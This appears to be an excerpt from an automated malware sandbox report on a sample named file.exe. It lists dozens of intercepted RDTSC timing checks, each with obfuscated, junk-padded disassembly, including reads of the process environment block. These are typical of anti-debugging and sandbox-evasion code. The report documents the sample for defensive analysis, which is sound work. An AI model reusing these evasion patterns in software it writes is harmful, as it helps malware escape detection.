Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10EC733 second address: 10EC762 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1CE4D7C49Ch 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007F1CE4D7C4A4h 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10EC762 second address: 10EC766 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10ECA05 second address: 10ECA0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10ECA0B second address: 10ECA48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F1CE475F126h 0x0000000b popad 0x0000000c jmp 00007F1CE475F11Fh 0x00000011 pop ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F1CE475F11Eh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10F977C second address: 10F9785 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10F9785 second address: 10F9789 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 10F9789 second address: 10F9791 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 103AA4A second address: 103AA67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F1CE475F11Dh 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d js 00007F1CE475F11Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 103AA67 second address: 103AA6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11030A6 second address: 11030B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jp 00007F1CE475F116h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 110C4C1 second address: 110C4C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 110C4C7 second address: 110C4EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F1CE475F127h 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1115BFA second address: 1115C08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push ecx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ecx 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11196B1 second address: 11196E2 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1CE475F118h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d jmp 00007F1CE475F127h 0x00000012 jmp 00007F1CE475F11Ah 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 111E550 second address: 111E578 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F1CE4D7C496h 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1CE4D7C4A9h 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1166336 second address: 1166359 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jg 00007F1CE475F12Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1166204 second address: 1166209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1166209 second address: 1166210 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 116992B second address: 1169940 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1CE4D7C49Dh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 122CD1F second address: 122CD25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 122CD25 second address: 122CD29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 122D2E8 second address: 122D2FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F1CE475F11Bh 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 122D2FE second address: 122D304 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 122F555 second address: 122F559 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 122F559 second address: 122F55D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12337EF second address: 12337F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12337F3 second address: 12337F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1233A31 second address: 1233A3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1233A3C second address: 1233A63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jc 00007F1CE4D7C498h 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e nop 0x0000000f mov edx, 3AA10806h 0x00000014 push 00000004h 0x00000016 and dl, FFFFFF88h 0x00000019 call 00007F1CE4D7C499h 0x0000001e push ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 push ebx 0x00000022 pop ebx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1233A63 second address: 1233A87 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edi 0x00000009 jng 00007F1CE475F11Ch 0x0000000f pop edi 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 je 00007F1CE475F116h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1233A87 second address: 1233A8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1233A8B second address: 1233A91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1233A91 second address: 1233AB6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push edi 0x0000000b jmp 00007F1CE4D7C49Bh 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jl 00007F1CE4D7C49Ch 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1233AB6 second address: 1233ABA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1233ABA second address: 1233AC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 123517D second address: 1235181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1235181 second address: 12351B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1CE4D7C4A5h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F1CE4D7C4A2h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12351B2 second address: 12351CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1CE475F129h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12351CF second address: 12351EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F1CE4D7C4A0h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F008D second address: 73F0093 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0093 second address: 73F0137 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C4A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr fs:[00000030h] 0x00000011 jmp 00007F1CE4D7C4A6h 0x00000016 sub esp, 18h 0x00000019 jmp 00007F1CE4D7C4A0h 0x0000001e xchg eax, ebx 0x0000001f jmp 00007F1CE4D7C4A0h 0x00000024 push eax 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007F1CE4D7C4A1h 0x0000002c jmp 00007F1CE4D7C49Bh 0x00000031 popfd 0x00000032 mov si, A63Fh 0x00000036 popad 0x00000037 xchg eax, ebx 0x00000038 jmp 00007F1CE4D7C4A2h 0x0000003d mov ebx, dword ptr [eax+10h] 0x00000040 pushad 0x00000041 mov si, 6E79h 0x00000045 popad 0x00000046 xchg eax, esi 0x00000047 pushad 0x00000048 popad 0x00000049 push eax 0x0000004a push eax 0x0000004b push edx 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0137 second address: 73F013B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F013B second address: 73F0151 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C4A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0151 second address: 73F0219 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F11Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F1CE475F126h 0x0000000f mov esi, dword ptr [74E806ECh] 0x00000015 jmp 00007F1CE475F120h 0x0000001a test esi, esi 0x0000001c pushad 0x0000001d movzx esi, bx 0x00000020 popad 0x00000021 jne 00007F1CE4760074h 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007F1CE475F11Bh 0x0000002e sbb ecx, 4654648Eh 0x00000034 jmp 00007F1CE475F129h 0x00000039 popfd 0x0000003a mov esi, 2C82FB97h 0x0000003f popad 0x00000040 xchg eax, edi 0x00000041 jmp 00007F1CE475F11Ah 0x00000046 push eax 0x00000047 jmp 00007F1CE475F11Bh 0x0000004c xchg eax, edi 0x0000004d jmp 00007F1CE475F126h 0x00000052 call dword ptr [74E50B60h] 0x00000058 mov eax, 750BE5E0h 0x0000005d ret 0x0000005e pushad 0x0000005f mov esi, 6798ECBDh 0x00000064 mov ah, 97h 0x00000066 popad 0x00000067 push 00000044h 0x00000069 pushad 0x0000006a pushad 0x0000006b push edx 0x0000006c pop eax 0x0000006d mov dl, 1Eh 0x0000006f popad 0x00000070 push eax 0x00000071 push edx 0x00000072 mov si, 0C6Bh 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0219 second address: 73F023F instructions: 0x00000000 rdtsc 0x00000002 call 00007F1CE4D7C4A0h 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edi 0x0000000c pushad 0x0000000d mov bl, 63h 0x0000000f mov ch, ECh 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push edx 0x00000017 pop eax 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F023F second address: 73F02B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F124h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], edi 0x0000000c jmp 00007F1CE475F120h 0x00000011 push dword ptr [eax] 0x00000013 pushad 0x00000014 mov bx, si 0x00000017 jmp 00007F1CE475F11Ah 0x0000001c popad 0x0000001d mov eax, dword ptr fs:[00000030h] 0x00000023 jmp 00007F1CE475F120h 0x00000028 push dword ptr [eax+18h] 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e pushfd 0x0000002f jmp 00007F1CE475F11Ch 0x00000034 add esi, 67903D48h 0x0000003a jmp 00007F1CE475F11Bh 0x0000003f popfd 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0308 second address: 73F0322 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C4A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0322 second address: 73F0366 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F11Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, eax 0x0000000b pushad 0x0000000c mov cl, 8Dh 0x0000000e call 00007F1CE475F121h 0x00000013 mov di, ax 0x00000016 pop eax 0x00000017 popad 0x00000018 test esi, esi 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F1CE475F126h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0366 second address: 73F036B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F036B second address: 73F03B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F1CE475F127h 0x0000000a adc cl, 0000006Eh 0x0000000d jmp 00007F1CE475F129h 0x00000012 popfd 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 je 00007F1D5216E417h 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F03B3 second address: 73F03B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F03B7 second address: 73F03BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F03BD second address: 73F03F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C4A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub eax, eax 0x0000000b jmp 00007F1CE4D7C4A1h 0x00000010 mov dword ptr [esi], edi 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov bx, 1DDEh 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F057B second address: 73F058B instructions: 0x00000000 rdtsc 0x00000002 mov eax, edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [ebx+60h] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F058B second address: 73F058F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F058F second address: 73F0595 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0595 second address: 73F05C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C49Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+24h], eax 0x0000000c jmp 00007F1CE4D7C4A6h 0x00000011 mov eax, dword ptr [ebx+64h] 0x00000014 pushad 0x00000015 pushad 0x00000016 mov cl, 26h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F05C6 second address: 73F062D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F1CE475F11Fh 0x0000000b jmp 00007F1CE475F123h 0x00000010 popfd 0x00000011 popad 0x00000012 mov dword ptr [esi+28h], eax 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007F1CE475F124h 0x0000001c jmp 00007F1CE475F125h 0x00000021 popfd 0x00000022 mov cx, DBD7h 0x00000026 popad 0x00000027 mov eax, dword ptr [ebx+68h] 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F062D second address: 73F063C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C49Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F063C second address: 73F06B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1CE475F122h 0x00000009 or cl, FFFFFFA8h 0x0000000c jmp 00007F1CE475F11Bh 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov dword ptr [esi+2Ch], eax 0x00000018 pushad 0x00000019 call 00007F1CE475F124h 0x0000001e jmp 00007F1CE475F122h 0x00000023 pop esi 0x00000024 pushad 0x00000025 mov dh, EDh 0x00000027 movzx esi, di 0x0000002a popad 0x0000002b popad 0x0000002c mov ax, word ptr [ebx+6Ch] 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 mov cl, 08h 0x00000035 jmp 00007F1CE475F123h 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F06B4 second address: 73F0708 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1CE4D7C49Fh 0x00000009 and ecx, 3EBE295Eh 0x0000000f jmp 00007F1CE4D7C4A9h 0x00000014 popfd 0x00000015 push esi 0x00000016 pop ebx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov word ptr [esi+30h], ax 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F1CE4D7C4A4h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0708 second address: 73F070C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F070C second address: 73F0712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0712 second address: 73F0755 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F11Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ax, word ptr [ebx+00000088h] 0x00000010 pushad 0x00000011 mov edi, ecx 0x00000013 pushfd 0x00000014 jmp 00007F1CE475F11Ah 0x00000019 or cx, 76E8h 0x0000001e jmp 00007F1CE475F11Bh 0x00000023 popfd 0x00000024 popad 0x00000025 mov word ptr [esi+32h], ax 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0755 second address: 73F0759 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0759 second address: 73F075D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F075D second address: 73F0763 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0763 second address: 73F07C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, 3DCFh 0x00000007 mov ax, E7EBh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [ebx+0000008Ch] 0x00000014 pushad 0x00000015 mov ecx, 00EB6963h 0x0000001a pushfd 0x0000001b jmp 00007F1CE475F128h 0x00000020 and eax, 39F74BA8h 0x00000026 jmp 00007F1CE475F11Bh 0x0000002b popfd 0x0000002c popad 0x0000002d mov dword ptr [esi+34h], eax 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F1CE475F120h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F07C0 second address: 73F07C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F07C4 second address: 73F07CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F07CA second address: 73F0818 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE4D7C49Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+18h] 0x0000000c pushad 0x0000000d mov dx, cx 0x00000010 pushfd 0x00000011 jmp 00007F1CE4D7C49Ah 0x00000016 add al, 00000068h 0x00000019 jmp 00007F1CE4D7C49Bh 0x0000001e popfd 0x0000001f popad 0x00000020 mov dword ptr [esi+38h], eax 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F1CE4D7C4A5h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0818 second address: 73F0856 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1CE475F121h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebx+1Ch] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F1CE475F11Ch 0x00000013 sub eax, 6A753528h 0x00000019 jmp 00007F1CE475F11Bh 0x0000001e popfd 0x0000001f push eax 0x00000020 push edx 0x00000021 mov si, 6335h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0954 second address: 73F0975 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F1CE4D7C49Ah 0x0000000a xor si, 05C8h 0x0000000f jmp 00007F1CE4D7C49Bh 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0975 second address: 73F0992 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 jmp 00007F1CE475F11Bh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov di, 7EE6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0992 second address: 73F0997 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 73F0997 second address: 73F09B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1CE475F129h 0x00000009 rdtsc
